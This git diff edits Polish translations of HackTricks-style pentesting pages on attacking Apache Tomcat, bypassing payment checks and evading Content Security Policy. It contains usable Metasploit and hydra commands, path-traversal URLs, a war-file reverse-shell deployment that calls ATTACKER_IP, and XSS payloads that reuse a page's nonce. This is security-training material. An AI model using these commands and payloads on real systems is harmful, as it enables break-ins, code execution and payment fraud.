* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**repozytorium hacktricks**](https://github.com/carlospolop/hacktricks) **i** [**repozytorium hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -41,7 +41,7 @@ Identyfikacja dokładnych lokalizacji katalogów **`/manager`** i **`/host-manag
|
|||
|
||||
### **Wyliczanie nazw użytkowników**
|
||||
|
||||
Dla wersji Tomcat starszych niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
Dla starszych wersji Tomcata niż 6, istnieje możliwość wyliczenia nazw użytkowników poprzez:
|
||||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_enum
|
||||
```
|
||||
|
@ -60,25 +60,25 @@ Te dane uwierzytelniające można przetestować za pomocą:
|
|||
```bash
|
||||
msf> use auxiliary/scanner/http/tomcat_mgr_login
|
||||
```
|
||||
Kolejnym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat oraz systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
Innym godnym uwagi katalogiem jest **`/manager/status`**, który wyświetla wersję Tomcat i systemu operacyjnego, ułatwiając identyfikację podatności.
|
||||
|
||||
### **Atak siłowy**
|
||||
|
||||
Aby przeprowadzić atak siłowy na katalog manager, można użyć:
|
||||
Aby przeprowadzić atak siłowy na katalog managera, można użyć:
|
||||
```bash
|
||||
hydra -L users.txt -P /usr/share/seclists/Passwords/darkweb2017-top1000.txt -f 10.10.10.64 http-get /manager/html
|
||||
```
|
||||
## Powszechne podatności
|
||||
|
||||
### **Ujawnienie śladów hasła**
|
||||
### **Ujawnienie śladu hasła**
|
||||
|
||||
Dostęp do `/auth.jsp` może ujawnić hasło w śladzie w szczęśliwych okolicznościach.
|
||||
|
||||
### **Podwójne kodowanie URL**
|
||||
### **Podwójne kodowanie adresów URL**
|
||||
|
||||
Podatność CVE-2007-1860 w `mod_jk` umożliwia podwójne kodowanie URL w przypadku trawersowania ścieżki, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie spreparowanego adresu URL.
|
||||
Podatność CVE-2007-1860 w `mod_jk` umożliwia podwójne kodowanie adresów URL w celu przekraczania ścieżki, umożliwiając nieautoryzowany dostęp do interfejsu zarządzania za pomocą specjalnie spreparowanego adresu URL.
|
||||
|
||||
Aby uzyskać dostęp do interfejsu webowego zarządzania Tomcatem, przejdź do: `pathTomcat/%252E%252E/manager/html`
|
||||
Aby uzyskać dostęp do interfejsu webowego Tomcat, przejdź do: `pathTomcat/%252E%252E/manager/html`
|
||||
|
||||
### /examples
|
||||
|
||||
|
@ -107,17 +107,17 @@ Wersje Apache Tomcat od 4.x do 7.x zawierają przykładowe skrypty, które są p
|
|||
* /examples/servlet/SessionExample
|
||||
* /tomcat-docs/appdev/sample/web/hello.jsp
|
||||
|
||||
### **Eksploatacja trawersowania ścieżki**
|
||||
### **Eksploatacja przekraczania ścieżki**
|
||||
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcacie, używając ścieżki: `/..;/`
|
||||
W niektórych [**podatnych konfiguracjach Tomcat**](https://www.acunetix.com/vulnerabilities/web/tomcat-path-traversal-via-reverse-proxy-mapping/) można uzyskać dostęp do chronionych katalogów w Tomcat, używając ścieżki: `/..;/`
|
||||
|
||||
Na przykład, można **uzyskać dostęp do strony zarządzania Tomcatem** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
Na przykład, można **uzyskać dostęp do strony zarządzania Tomcat** poprzez dostęp do: `www.vulnerable.com/lalala/..;/manager/html`
|
||||
|
||||
**Innym sposobem** na obejście chronionych ścieżek za pomocą tego triku jest dostęp do `http://www.vulnerable.com/;param=value/manager/html`
|
||||
|
||||
## RCE
|
||||
|
||||
Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Webowej Tomcata, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
Wreszcie, jeśli masz dostęp do Menedżera Aplikacji Webowej Tomcat, możesz **przesłać i wdrożyć plik .war (wykonać kod)**.
|
||||
|
||||
### Ograniczenia
|
||||
|
||||
|
@ -140,7 +140,7 @@ msf exploit(multi/http/tomcat_mgr_upload) > set httpusername <username>
|
|||
msf exploit(multi/http/tomcat_mgr_upload) > set httppassword <password>
|
||||
msf exploit(multi/http/tomcat_mgr_upload) > exploit
|
||||
```
|
||||
### Odwrócony shell MSFVenom
|
||||
### Odwrócony Shell MSFVenom
|
||||
|
||||
1. Utwórz plik war do wdrożenia:
|
||||
```bash
|
||||
|
@ -156,7 +156,7 @@ W niektórych scenariuszach to nie działa (na przykład w starych wersjach sun)
|
|||
```bash
|
||||
git clone https://github.com/mgeeky/tomcatWarDeployer.git
|
||||
```
|
||||
#### Odwrócony shell
|
||||
#### Odwrócona powłoka
|
||||
```bash
|
||||
./tomcatWarDeployer.py -U <username> -P <password> -H <ATTACKER_IP> -p <ATTACKER_PORT> <VICTIM_IP>:<VICTIM_PORT>/manager/html/
|
||||
```
|
||||
|
@ -221,18 +221,18 @@ Inne sposoby pozyskiwania poświadczeń Tomcat:
|
|||
msf> use post/multi/gather/tomcat_gather
|
||||
msf> use post/windows/gather/enum_tomcat
|
||||
```
|
||||
## Inne narzędzia do skanowania tomcat
|
||||
## Inne narzędzia do skanowania tomcata
|
||||
|
||||
* [https://github.com/p0dalirius/ApacheTomcatScanner](https://github.com/p0dalirius/ApacheTomcatScanner)
|
||||
|
||||
## Odnośniki
|
||||
## Referencje
|
||||
|
||||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -240,7 +240,7 @@ msf> use post/windows/gather/enum_tomcat
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć swoją **firmę reklamowaną w HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
|
@ -12,9 +12,9 @@
|
|||
|
||||
</details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -73,8 +73,8 @@ webapps/customapp
|
|||
└── classes
|
||||
└── AdminServlet.class
|
||||
```
|
||||
Najważniejszym plikiem spośród nich jest `WEB-INF/web.xml`, który jest znany jako deskryptor wdrożenia. Ten plik przechowuje **informacje o trasach** używanych przez aplikację i klasy obsługujące te trasy.\
|
||||
Wszystkie skompilowane klasy używane przez aplikację powinny być przechowywane w folderze `WEB-INF/classes`. Te klasy mogą zawierać ważną logikę biznesową oraz wrażliwe informacje. Każda podatność w tych plikach może prowadzić do całkowitego skompromitowania strony internetowej. Folder `lib` przechowuje biblioteki potrzebne dla danej aplikacji. Folder `jsp` przechowuje [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), wcześniej znane jako `JavaServer Pages`, które można porównać do plików PHP na serwerze Apache.
|
||||
Najważniejszym plikiem spośród nich jest `WEB-INF/web.xml`, który jest znany jako deskryptor wdrożenia. Ten plik przechowuje **informacje o trasach** używanych przez aplikację oraz klasy obsługujące te trasy.\
|
||||
Wszystkie skompilowane klasy używane przez aplikację powinny być przechowywane w folderze `WEB-INF/classes`. Te klasy mogą zawierać ważną logikę biznesową oraz poufne informacje. Każda podatność w tych plikach może prowadzić do całkowitego skompromitowania strony internetowej. Folder `lib` przechowuje biblioteki potrzebne dla danej aplikacji. Folder `jsp` przechowuje [Jakarta Server Pages (JSP)](https://en.wikipedia.org/wiki/Jakarta\_Server\_Pages), wcześniej znane jako `JavaServer Pages`, które można porównać do plików PHP na serwerze Apache.
|
||||
|
||||
Oto przykładowy plik **web.xml**.
|
||||
```xml
|
||||
|
@ -94,7 +94,7 @@ Oto przykładowy plik **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
Konfiguracja `web.xml` powyżej definiuje **nowy serwlet o nazwie `AdminServlet`**, który jest odwzorowany na **klasę `com.inlanefreight.api.AdminServlet`**. Java używa notacji kropkowej do tworzenia nazw pakietów, co oznacza, że ścieżka na dysku dla powyższej klasy będzie:
|
||||
Konfiguracja `web.xml` powyżej definiuje **nowy serwlet o nazwie `AdminServlet`**, który jest odwzorowany do **klasy `com.inlanefreight.api.AdminServlet`**. Java używa notacji kropkowej do tworzenia nazw pakietów, co oznacza, że ścieżka na dysku dla powyższej klasy będzie:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
|
@ -151,7 +151,7 @@ Plik pokazuje, do czego dostęp zapewniają role `manager-gui`, `manager-script`
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -27,47 +27,27 @@ Inne sposoby wsparcia HackTricks:
|
|||
### Przechwytywanie Żądań
|
||||
Podczas procesu transakcji istotne jest monitorowanie danych wymienianych między klientem a serwerem. Można to zrobić poprzez przechwytywanie wszystkich żądań. W tych żądaniach zwróć uwagę na parametry o istotnym znaczeniu, takie jak:
|
||||
|
||||
- **Success**: Ten parametr często wskazuje na status transakcji.
|
||||
- **Sukces**: Ten parametr często wskazuje na status transakcji.
|
||||
- **Referrer**: Może wskazywać na źródło, z którego pochodzi żądanie.
|
||||
- **Callback**: Zazwyczaj używany do przekierowania użytkownika po zakończeniu transakcji.
|
||||
|
||||
### Analiza URL
|
||||
Jeśli napotkasz parametr zawierający adres URL, zwłaszcza taki, który podąża za wzorcem _example.com/payment/MD5HASH_, wymaga to bliższego przyjrzenia się. Oto krok po kroku:
|
||||
Jeśli napotkasz parametr zawierający adres URL, zwłaszcza taki, który podąża za wzorcem _example.com/payment/MD5HASH_, wymaga to bliższej analizy. Oto krok po kroku:
|
||||
|
||||
1. **Skopiuj URL**: Wyodrębnij adres URL z wartości parametru.
|
||||
2. **Inspekcja w Nowym Oknie**: Otwórz skopiowany adres URL w nowym oknie przeglądarki. Ta czynność jest kluczowa dla zrozumienia rezultatu transakcji.
|
||||
|
||||
### Manipulacja Parametrami
|
||||
1. **Zmień Wartości Parametrów**: Eksperymentuj, zmieniając wartości parametrów, takich jak _Success_, _Referrer_ lub _Callback_. Na przykład zmiana parametru z `false` na `true` czasami ujawnia, w jaki sposób system obsługuje te dane wejściowe.
|
||||
1. **Zmień Wartości Parametrów**: Eksperymentuj, zmieniając wartości parametrów, takich jak _Sukces_, _Referrer_ lub _Callback_. Na przykład zmiana parametru z `false` na `true` czasami może ujawnić, w jaki sposób system obsługuje te dane wejściowe.
|
||||
2. **Usuń Parametry**: Spróbuj całkowicie usunąć pewne parametry, aby zobaczyć, jak system reaguje. Niektóre systemy mogą mieć fallbacki lub domyślne zachowania, gdy oczekiwane parametry są brakujące.
|
||||
|
||||
### Modyfikacja Ciasteczek
|
||||
1. **Sprawdź Ciasteczka**: Wiele stron internetowych przechowuje istotne informacje w ciasteczkach. Sprawdź te ciasteczka pod kątem danych dotyczących statusu płatności lub uwierzytelnienia użytkownika.
|
||||
1. **Zbadaj Ciasteczka**: Wiele stron internetowych przechowuje istotne informacje w ciasteczkach. Sprawdź te ciasteczka pod kątem danych dotyczących statusu płatności lub uwierzytelnienia użytkownika.
|
||||
2. **Zmodyfikuj Wartości Ciasteczek**: Zmodyfikuj wartości przechowywane w ciasteczkach i obserwuj, jak zmienia się odpowiedź strony internetowej lub jej zachowanie.
|
||||
|
||||
### Przechwycenie Sesji
|
||||
1. **Tokeny Sesji**: Jeśli tokeny sesji są używane w procesie płatności, spróbuj przechwycić je i nimi manipulować. Może to dostarczyć wglądu w podatności zarządzania sesją.
|
||||
1. **Tokeny Sesji**: Jeśli w procesie płatności używane są tokeny sesji, spróbuj przechwycić je i nimi manipulować. Może to dostarczyć wglądu w podatności zarządzania sesją.
|
||||
|
||||
### Modyfikacja Odpowiedzi
|
||||
1. **Przechwyć Odpowiedzi**: Użyj narzędzi do przechwytywania i analizowania odpowiedzi serwera. Szukaj danych wskazujących na udaną transakcję lub ujawniających kolejne kroki w procesie płatności.
|
||||
1. **Przechwyć Odpowiedzi**: Użyj narzędzi do przechwytywania i analizowania odpowiedzi serwera. Szukaj danych, które mogą wskazywać na udaną transakcję lub ujawniać kolejne kroki w procesie płatności.
|
||||
2. **Modyfikuj Odpowiedzi**: Spróbuj zmodyfikować odpowiedzi przed ich przetworzeniem przez przeglądarkę lub aplikację, aby zasymulować scenariusz udanej transakcji.
|
||||
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i zostań ekspertem AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,4 +1,4 @@
|
|||
# Bypass zabezpieczeń zawartości (CSP)
|
||||
# Bypass zasady bezpieczeństwa zawartości (CSP)
|
||||
|
||||
<details>
|
||||
|
||||
|
@ -18,22 +18,22 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
|
||||
**Wgląd w hakerstwo**\
|
||||
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
**Spojrzenie na Hakowanie**\
|
||||
Zapoznaj się z treściami, które zagłębiają się w emocje i wyzwania hakowania
|
||||
|
||||
**Aktualności z hakerskiego świata na żywo**\
|
||||
Bądź na bieżąco z szybkim tempem świata hakerskiego dzięki aktualnościom i wglądom na żywo
|
||||
**Aktualności z Hakowania na Żywo**\
|
||||
Bądź na bieżąco z szybkim światem hakowania dzięki aktualnościom i wglądom w czasie rzeczywistym
|
||||
|
||||
**Najnowsze ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platform
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
|
||||
## Co to jest CSP
|
||||
|
||||
Zabezpieczenie zawartości (CSP) jest uznawane za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak skrypty międzywitrynne (XSS)**. Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tej samej domeny (self), w tym zasobów wstawionych oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
Zasada bezpieczeństwa zawartości (CSP) jest uznawana za technologię przeglądarki, głównie mającą na celu **ochronę przed atakami takimi jak skrypty międzywitrynne (XSS)**. Działa poprzez definiowanie i szczegółowe określanie ścieżek i źródeł, z których przeglądarka może bezpiecznie ładować zasoby. Te zasoby obejmują różne elementy, takie jak obrazy, ramki i JavaScript. Na przykład polityka może zezwalać na ładowanie i wykonywanie zasobów z tego samego domeny (self), w tym zasobów wstawionych oraz wykonywanie kodu łańcuchowego za pomocą funkcji takich jak `eval`, `setTimeout` lub `setInterval`.
|
||||
|
||||
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez **włączenie elementów meta w stronie HTML**. Zgodnie z tą polityką przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
||||
Wdrożenie CSP odbywa się poprzez **nagłówki odpowiedzi** lub poprzez **włączenie elementów meta na stronie HTML**. Zgodnie z tą polityką, przeglądarki aktywnie egzekwują te postanowienia i natychmiast blokują wszelkie wykryte naruszenia.
|
||||
|
||||
* Wdrożone za pomocą nagłówka odpowiedzi:
|
||||
```
|
||||
|
@ -45,7 +45,7 @@ Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com;
|
|||
```
|
||||
### Nagłówki
|
||||
|
||||
CSP może być egzekwowane lub monitorowane za pomocą tych nagłówków:
|
||||
CSP można egzekwować lub monitorować za pomocą tych nagłówków:
|
||||
|
||||
* `Content-Security-Policy`: Wymusza CSP; przeglądarka blokuje wszelkie naruszenia.
|
||||
* `Content-Security-Policy-Report-Only`: Używane do monitorowania; raportuje naruszenia bez ich blokowania. Idealne do testowania w środowiskach przedprodukcyjnych.
|
||||
|
@ -66,7 +66,7 @@ object-src 'none';
|
|||
```
|
||||
### Dyrektywy
|
||||
|
||||
* **script-src**: Pozwala na określenie konkretnych źródeł dla JavaScript, w tym adresów URL, skryptów w linii, oraz skryptów wywołanych przez event handlery lub arkusze stylów XSLT.
|
||||
* **script-src**: Pozwala na określenie konkretnych źródeł JavaScript, w tym adresów URL, skryptów w linii, oraz skryptów wywołanych przez event handlery lub arkusze stylów XSLT.
|
||||
* **default-src**: Ustawia domyślną politykę pobierania zasobów, gdy określone dyrektywy pobierania są nieobecne.
|
||||
* **child-src**: Określa dozwolone zasoby dla web workers oraz osadzonych treści ramek.
|
||||
* **connect-src**: Ogranicza adresy URL, które mogą być ładowane za pomocą interfejsów takich jak fetch, WebSocket, XMLHttpRequest.
|
||||
|
@ -74,9 +74,9 @@ object-src 'none';
|
|||
* **frame-ancestors**: Określa, które źródła mogą osadzać bieżącą stronę, dotyczy elementów takich jak `<frame>`, `<iframe>`, `<object>`, `<embed>`, oraz `<applet>`.
|
||||
* **img-src**: Definiuje dozwolone źródła dla obrazów.
|
||||
* **font-src**: Określa prawidłowe źródła dla czcionek ładowanych za pomocą `@font-face`.
|
||||
* **manifest-src**: Definiuje dozwolone źródła plików manifestu aplikacji.
|
||||
* **manifest-src**: Określa dozwolone źródła plików manifestu aplikacji.
|
||||
* **media-src**: Definiuje dozwolone źródła dla ładowania obiektów multimedialnych.
|
||||
* **object-src**: Definiuje dozwolone źródła dla elementów `<object>`, `<embed>`, oraz `<applet>`.
|
||||
* **object-src**: Określa dozwolone źródła dla elementów `<object>`, `<embed>`, oraz `<applet>`.
|
||||
* **base-uri**: Określa dozwolone adresy URL do ładowania za pomocą elementów `<base>`.
|
||||
* **form-action**: Wymienia prawidłowe punkty końcowe dla przesyłania formularzy.
|
||||
* **plugin-types**: Ogranicza typy mime, które strona może wywoływać.
|
||||
|
@ -97,11 +97,11 @@ object-src 'none';
|
|||
* `'unsafe-hashes'`: Umożliwia określone inline event handlery.
|
||||
* `'unsafe-inline'`: Pozwala na użycie zasobów w linii, takich jak inline `<script>` lub `<style>`, niezalecane ze względów bezpieczeństwa.
|
||||
* `'nonce'`: Biała lista dla konkretnych skryptów w linii za pomocą kryptograficznego nonce (numer użyty tylko raz).
|
||||
* Jeśli wykonanie JS jest ograniczone, możliwe jest uzyskanie użytego nonce na stronie za pomocą `doc.defaultView.top.document.querySelector("[nonce]")`, a następnie ponowne wykorzystanie go do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, dowolne dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
|
||||
* Jeśli wykonanie JS jest ograniczone, można uzyskać użyty nonce na stronie za pomocą `doc.defaultView.top.document.querySelector("[nonce]")` i następnie ponownie go użyć do ładowania złośliwego skryptu (jeśli używane jest strict-dynamic, każde dozwolone źródło może ładować nowe źródła, więc to nie jest konieczne), jak w:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Ładowanie skryptu ponownie wykorzystując nonce</summary>
|
||||
<summary>Ładowanie skryptu ponownie używając nonce</summary>
|
||||
```html
|
||||
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
|
||||
<img src=x ng-on-error='
|
||||
|
@ -121,7 +121,7 @@ b.nonce=a.nonce; doc.body.appendChild(b)'>
|
|||
* `filesystem:`: Umożliwia ładowanie zasobów z systemu plików.
|
||||
* `'report-sample'`: Zawiera przykład naruszającego kodu w raporcie naruszeń (przydatne do debugowania).
|
||||
* `'strict-origin'`: Podobnie jak 'self', ale zapewnia, że poziom zabezpieczeń protokołu źródeł odpowiada dokumentowi (tylko bezpieczne źródła mogą ładować zasoby z bezpiecznych źródeł).
|
||||
* `'strict-origin-when-cross-origin'`: Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest międzydomenowe.
|
||||
* `'strict-origin-when-cross-origin'`: Wysyła pełne adresy URL podczas wykonywania żądań o tym samym pochodzeniu, ale wysyła tylko pochodzenie, gdy żądanie jest między pochodzeniami.
|
||||
* `'unsafe-allow-redirects'`: Umożliwia ładowanie zasobów, które natychmiast przekierują do innego zasobu. Nie zaleca się, ponieważ osłabia to bezpieczeństwo.
|
||||
|
||||
## Niebezpieczne zasady CSP
|
||||
|
@ -148,7 +148,7 @@ Działający ładunek:
|
|||
```
|
||||
### strict-dynamic
|
||||
|
||||
Jeśli w jakiś sposób możesz sprawić, że **dozwolony kod JS stworzy nowy tag skryptu** w DOM za pomocą swojego kodu JS, ponieważ dozwolony skrypt go tworzy, **nowy tag skryptu będzie mógł zostać wykonany**.
|
||||
Jeśli w jakiś sposób możesz sprawić, aby **dozwolony kod JS utworzył nowy tag skryptu** w DOM za pomocą swojego kodu JS, ponieważ dozwolony skrypt go tworzy, **nowy tag skryptu będzie mógł zostać wykonany**.
|
||||
|
||||
### Wildcard (\*)
|
||||
```yaml
|
||||
|
@ -167,7 +167,7 @@ Działający ładunek:
|
|||
```yaml
|
||||
Content-Security-Policy: script-src 'self' ;
|
||||
```
|
||||
### Działające ładunki:
|
||||
Działające ładunki:
|
||||
```markup
|
||||
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
|
||||
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
|
||||
|
@ -185,10 +185,14 @@ Działający ładunek:
|
|||
```
|
||||
Jednakże jest bardzo prawdopodobne, że serwer **sprawdza przesłany plik** i pozwoli Ci tylko **przesłać określony rodzaj plików**.
|
||||
|
||||
Co więcej, nawet jeśli udałoby Ci się przesłać **kod JS wewnątrz** pliku za pomocą akceptowanego przez serwer rozszerzenia (np. _script.png_), to i tak to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki, jak Chrome, **odmówią wykonania kodu Javascript** w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie rozpoznaje** rozszerzenia _**.wave**_, dlatego nie serwuje go z typem MIME typu audio/\*.
|
||||
Co więcej, nawet jeśli udałoby Ci się przesłać **kod JS wewnątrz** pliku za pomocą akceptowanego przez serwer rozszerzenia (np. _script.png_), to nie wystarczy, ponieważ niektóre serwery, jak serwer apache, **wybierają typ MIME pliku na podstawie rozszerzenia**, a przeglądarki, jak Chrome, **odmówią wykonania kodu Javascript** w czymś, co powinno być obrazem. "Na szczęście" są błędy. Na przykład, z CTF dowiedziałem się, że **Apache nie rozpoznaje** rozszerzenia _**.wave**_, dlatego nie serwuje go z typem MIME takim jak audio/\*.
|
||||
|
||||
Stąd, jeśli znajdziesz XSS i możliwość przesłania pliku, oraz uda Ci się znaleźć **błędne rozszerzenie**, możesz spróbować przesłać plik z tym rozszerzeniem i zawartością skryptu. Lub, jeśli serwer sprawdza poprawny format przesłanego pliku, stwórz poliglot ([kilka przykładów poliglotów tutaj](https://github.com/Polydet/polyglot-database)).
|
||||
|
||||
### Form-action
|
||||
|
||||
